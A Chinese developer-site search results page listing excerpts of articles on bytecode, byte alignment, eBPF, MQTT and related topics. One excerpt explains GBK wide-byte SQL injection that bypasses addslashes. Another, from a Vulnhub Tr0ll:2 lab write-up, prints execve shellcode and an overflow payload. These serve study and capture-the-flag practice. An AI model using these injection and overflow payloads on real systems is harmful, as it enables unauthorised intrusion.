首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏晨星先生的自留地

    宽字节注入(2)

    昨晚折腾了一晚上,把大致的一些东西整理了下,为团队纳新选了几首音乐素材..然后团队的一个表弟来问我宽字节注入的事情了...然后就就才抽空写了一点作为上一篇mysql注入的补充。 使用addslashes来防御(addslashes函数会把' " %00 \ 这些字符前面加上一个\来转义他们) 设置数据库字符为gbk导致宽字节注入 ? 这样是失败的 ? 用get请求提交~ 这样url编码就会被解码,然后%df和%5c被还原成宽字节,運。 宽字节的问题我就不多说了,这边再提了一下是因为团队的一个表弟问的… 传送门: 面试中碰到的坑之宽字节(二) 要补充的是,錦”这个字,它的utf-8编码是0xe98ca6,它的gbk编码是0xe55c。 关于绕过: 一:字符编码问题导致绕过 · 2.1、设置数据库字符为gbk导致宽字节注入 · 2.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入 二:编码解码导致的绕过

    1.1K40发布于 2018-06-07
  • 来自专栏IT当时语_青山师_JAVA技术栈

    字节码文件魔数0xCAFEBABE

    字节码文件魔数0xCAFEBABE 每一个java字节码文件(.class)都是以相同的4字节内容开始的——十六进制的CAFEBABE。 咖啡宝贝…因缺思厅。。。 ; } } 这个魔数用来在类装载阶段时检查该文件是不是标准的java字节码文件(当然这仅仅是第一关)。 0xCAFEBABE 的数值表示 3405691582 。如果我们对其所有的数字求和得到 43。 附录 参考资料: http://mishadoff.com/blog/java-magic-part-2-0xcafebabe/

    53510编辑于 2023-05-05
  • 来自专栏技术墨客

    JVM与字节码——2进制流字节码解析 原

    字节码解析 结构 本位将详细介绍字节码的2进制结构和JVM解析2进制流的规范。 文中斜体 ~00~03 表示16进制流的从第一个字节开始的偏移位置。~1d 表示1行d列这1个字段,~00~03 表示0行0列到0行3列这4个字节。每2个16进制数表示一个字节。 版本号分为2个部分。前2个字节表示副版本号,后2个字节是主版本号。 ~04~05:0x0000=>副版本号为0。 ~06~07:0x0034=>主版本号为52。 他的结构和Methodref一样也是紧跟2个2字节的参数,0x0003和0x0010表示索引常量池的#3和#16。 ~2a~2b:最大堆栈,2个。 ~2c~2d:最大本地变量个数,4个。 ~2e~31:指令集占用的字节数:0x00000022=>34。 ~32~53:34个字节的指令集。

    1.6K30发布于 2018-08-15
  • 来自专栏腾讯技术工程官方号的专栏

    1 0 2 4 !!!

    .

    62520编辑于 2022-10-24
  • 来自专栏用户8506532的专栏

    2字节的UTF-8序列的字节2无效 解决方案

    2字节的UTF-8序列的字节2无效 解决方案 2字节的UTF-8序列的字节2无效 使用标签时,也出现这种情况。

    2.9K30发布于 2021-04-15
  • 来自专栏difcareer的技术笔记

    彻底弄懂dalvik字节码【三】0x01:0x02:0x03:0x04:0x05:

    setContentView(I)V, p0, v2 00000012 const v2, 0x7F0C0050 00000018 invoke-virtual 因为onCreate是重写的父类方法,所以在virtual_methods中,我们看到这个方法需要5个寄存器,2个参数,3个内部方法调用参数,48条指令。字节码在insns中。 */ 即为定位到insns的起始处,并取2个字节的内容放置到inst变量中,之后取出inst的低字节数值作为handlerTable数组的索引号,然后跳转到对应符号去执行。 这里直接说我看代码看明白的: 首先 6F 20 中的 6F表示操作码,20又分两个4位来解释,2表示寄存器的数量,0代表啥还没有看明白:(,随后的两个字节 47 2A 表示的是method id,47 2A 表示数值是0x2A47,即10823,如图: ?

    2.4K20发布于 2018-08-23
  • 来自专栏高效数据恢复

    u盘属性0字节怎么恢复数据?

    昨天下午,公司的会议正在紧张地进行着,突然间,电脑屏幕上跳出了一个对话框,显示着“无法读取U盘并且属性0字节”。下面将详细阐述U盘属性0字节可能由哪些原因引起,并列出其中的一些常见情况。 一些低质量的U盘可能在制造过程中存在问题,导致属性0字节。另外,如果U盘已经使用了很长时间,或者经常进行读写操作,也可能会出现这样的问题。其次,操作系统和驱动程序的问题也可能导致U盘属性0字节。 方案2:将属性0字节的U盘交给专业的数据恢复团队在面对U盘属性0字节数据丢失的问题时,将U盘交给专业的数据恢复团队是一个值得考虑的解决方案。 U盘属性0字节,不需要保留U盘的文件,只要U盘能正常使用的解决方案如果你的U盘属性显示0字节,而且你不需要保留U盘中的文件,只希望U盘能够正常使用,那么你可以尝试以下解决方案:1. 2. 格式化U盘如果U盘驱动器正常,但仍然显示属性0字节,那么你可以尝试格式化U盘。在格式化之前,请务必备份U盘中的文件,因为格式化会删除所有数据。

    91610编辑于 2023-11-10
  • 来自专栏重生信息安全

    0x0 Python教程:入门pt2

    /usr/bin/python import <module1>, <module2> def myFunction(): def main(): myFunction() 语法非常简单,sys.agrv [0]是实际的脚本名称,并且在命令行给出的每个参数之后都会分配一个数字。 以下是一个简单的例子: import sys script = sys.argv[0] ip = sys.argv[1] port = sys.argv[2] print "[+] The script

    1.4K10发布于 2020-04-26
  • 来自专栏nginx遇上redis

    C语言中字节对齐问题分析2

    2. 为什么要字节对齐 简单的说来就是为了提高cpu的性能,或者说是为了提高程序运行的效率。当然,在其背后更有简化cpu设计的功效。 } 这里需要指出的是,编译器会根据具体的结构选择是4字节对齐还是2字节对齐。 对于type_t结构,其内存布局如图1所示,需要指出的是SPARC是big-endian模式,图中b=b0b1b2b3. ? 这里之所以说是可能,是因为有可能对b进行访问之前,可能刚好完成了对于a的访问,而对a访问时,b0、b1和b2也同时读入(或写入)了,这种情况下,只需要读入(或写入)b3即可。 此外,更为麻烦的是对于边界不对齐的b,还得将其合成4字节(一部分是来自一个四字节中的b0、b1和b2,另一部分来自另一个4字节中的b3),而这又增加了程序的复杂性,即需要更多的指令来完成。

    2.1K20发布于 2020-05-12
  • 来自专栏陈冠男的游戏人生

    【Vulnhub】Tr0ll:2

    :Tr0ll 登录成功 ? 过了一会文件又没了去了 door2... 被作者玩弄于股掌之间 ? . \x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x50\x15\x83\xe8\xfc\x03\x50\x11\xe2\x55\x11\x13\xcd\x0c\xb4\x45\ \x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" payload=shellcode +'a'*(268-len(shellcode))+'\xc0\xd3\xff\xff' print payload

    1.3K41发布于 2020-08-28
  • 来自专栏机器学习之禅

    2 | 从0开始学PyTorch

    double_points = torch.zeros(10, 2).double() short_points = torch.ones(10, 2).short() double_points = torch.zeros(10, 2).to(torch.double) short_points = torch.ones(10, 2).to(dtype=torch.short) 这里有用到to() , 0., 0., 0., 0.], dtype=torch.float64) 把张量存储到GPU PyTorch提供了设备的概念,方便在不同的运算单元上转移我们的tensor数据以及运算。 /data/p1ch3/ourpoints.t') # 存储tensor 方法2 with open('.. /data/p1ch3/ourpoints.t') #读取tensor 方法2 with open('..

    1.2K20编辑于 2022-07-11
  • 来自专栏EMQ 物联网

    MQTT QoS 0, 1, 2 介绍

    MQTT 定义了三个 QoS 等级,分别为:QoS 0,最多交付一次。QoS 1,至少交付一次。QoS 2,只交付一次。 其中,使用 QoS 0 可能丢失消息,使用 QoS 1 可以保证收到消息,但消息可能重复,使用 QoS 2 可以保证消息既不丢失也不重复。 例如,订阅者在订阅时要求 Broker 可以向其转发的消息的最大 QoS 等级为 QoS 1,那么后续所有 QoS 2 消息都会降级至 QoS 1 转发给此订阅者,而所有 QoS 0 和 QoS 1 消息则会保持原始的 QoS 2 - 只交付一次QoS 2 解决了 QoS 0、1 消息可能丢失或者重复的问题,但相应地,它也带来了最复杂的交互流程和最高的开销。 而 QoS 2 能够达到的吞吐一般仅为 QoS 0、1 的一半左右。结语至此,相信读者已对 MQTT QoS 有了深刻的理解。

    2K21编辑于 2023-01-12
  • 来自专栏王磊的博客

    字节2面真题,你能答对几道?

    字节跳动的面试难度,放眼整个互联网都是“遥遥领先”!不能说有多难,就是看了都不会的哪种!当然,这句话是开玩笑的。 咱们先来看下字节二面的所有问题: 前半部分的问题比较简单,相信大部人都能搞定(如果你搞不定,可以偷偷去看磊哥的武林秘籍:https://www.javacn.site)。 2.说一下 Copy On Write 技术? 小结 都说字节的面试难,其实就难在底层知识问的多,以及有算法问题,所以想进大厂,这两项能力都要提升,勿在浮沙筑高台。

    29010编辑于 2023-11-25
  • 来自专栏王磊的博客

    字节2面真题,你能答对几道?

    字节跳动的面试难度,放眼整个互联网都是“遥遥领先”!不能说有多难,就是看了都不会的哪种!当然,这句话是开玩笑的。 咱们先来看下字节二面的所有问题:前半部分的问题比较简单,相信大部人都能搞定(如果你搞不定,可以偷偷去看磊哥的武林秘籍:https://www.javacn.site)。 2.说一下 Copy On Write 技术?在市面上很少有面试官问 Java 程序员 COW(Copy On Write,写时复制)技术的,当然能回答上来的人也不多,那咱们就来看看什么是 COW? 小结都说字节的面试难,其实就难在底层知识问的多,以及有算法问题,所以想进大厂,这两项能力都要提升,勿在浮沙筑高台。

    35710编辑于 2023-11-24
  • 来自专栏Linux内核那些事

    eBPF 概述:第 2 部分:机器和字节码

    2. 虚拟机 eBPF 是一个 RISC 寄存器机,共有 11 个 64 位寄存器,一个程序计数器和 512 字节的固定大小的栈。 0, 2) 的 eBPF 字节码,我们会发现它是 0x020015。 这个特定的字节码非常频繁地被用来测试存储在 r0 中的函数调用的返回值;如果 r0 == 0,它就会跳过接下来的 2 条指令。 3. r0 加载一个字节(BPF_B),当前情况下是网络数据包缓冲区,所以我们从一个 iphdr 结构 中提供协议字节的偏移量,以加载到 r0。 结果存储在 r0 中:一个指向由 key 索引的值的指针地址。 BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 2), 还记得 0x020015 吗?这和第一节的字节码是一样的。

    1.2K20发布于 2021-11-23
  • 来自专栏linux驱动个人学习

    eBPF 概述:第 2 部分:机器和字节码

    2. 虚拟机 eBPF 是一个 RISC 寄存器机,共有 11 个 64 位寄存器,一个程序计数器和 512 字节的固定大小的栈。 0, 2) 的 eBPF 字节码,我们会发现它是 0x020015。 这个特定的字节码非常频繁地被用来测试存储在 r0 中的函数调用的返回值;如果 r0 == 0,它就会跳过接下来的 2 条指令。 3. r0 加载一个字节(BPF_B),当前情况下是网络数据包缓冲区,所以我们从一个 iphdr 结构 中提供协议字节的偏移量,以加载到 r0。 结果存储在 r0 中:一个指向由 key 索引的值的指针地址。 BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 2), 还记得 0x020015 吗?这和第一节的字节码是一样的。

    74910编辑于 2023-11-24
  • 来自专栏睡不着所以学编程

    从0到1学习nodejs(2)

    今天是端午节,端午安康,我收到了好好朋友送的粽子嘿嘿,今天是粽子主题!(呃发晚了。。)

    37210编辑于 2024-06-17
  • 0基础深入理解指针(2)

    其实数组名就是数组⾸元素(第⼀个元素)的地址是对的,但是有两个例外: • sizeof(数组名),sizeof中单独放数组名,这⾥的数组名表⽰整个数组,计算的是整个数组的⼤⼩,单位是字节。 下面再看一个代码 这⾥我们发现&arr[0]和&arr[0]+1相差4个字节,arr和arr+1 相差4个字节,是因为&arr[0] 和 arr 都是⾸元素的地址,+1就是跳过⼀个元素。 但是&arr 和 &arr+1相差40个字节,这就是因为&arr是数组的地址,+1 操作是跳过整个数组的。 到这⾥⼤家应该搞清楚数组名的意义了吧。 #include <stdio.h> int main() { int arr[10] = {0}; //输⼊ int i = 0; int sz = sizeof(arr)/sizeof(arr 那么在函数内部我们写 sizeof(arr) 计算的是⼀个地址的⼤⼩(单位字节)⽽不是数组的⼤⼩(单位字节)。 正是因为函数的参数部分是本质是指针,所以在函数内部是没办法求的数组元素个数的。

    23610编辑于 2025-12-30
  • 来自专栏YX’blog

    从0开始学习之bluecms(2)

    上文地址http://535yx.cn/index.php/archives/400/ 0X00前言 闲来无事我去cnvd逛了逛这cms有啥洞便于挖掘,接下来文章继续 0x01正文 任意文件删除(publish.php /来实现任意文件删除 接下来我们试试删除根目录的2.txt文件 文件包含漏洞(user.php) 嗯,cnvd这里看出了该漏洞十有八九在user.php 这里我们就要尝试截断后面的文件地址 magic_quotes_gpc = Off php版本<5.3.4(由于文件自带addslashes()过滤所以说这里不能用00截断) OK,我们先在根目录建个txt 最后如图所示: pay=../../2.

    96220编辑于 2023-04-07
  • 来自专栏TensorFlow从0到N + Rust

    TensorFlow从1到2 - 0 - 前言

    本篇是《TensorFlow从1到2》的前言,本主题将会涵盖现代卷积网络基础,及其TensorFlow实现。

    1.1K60发布于 2018-04-11
领券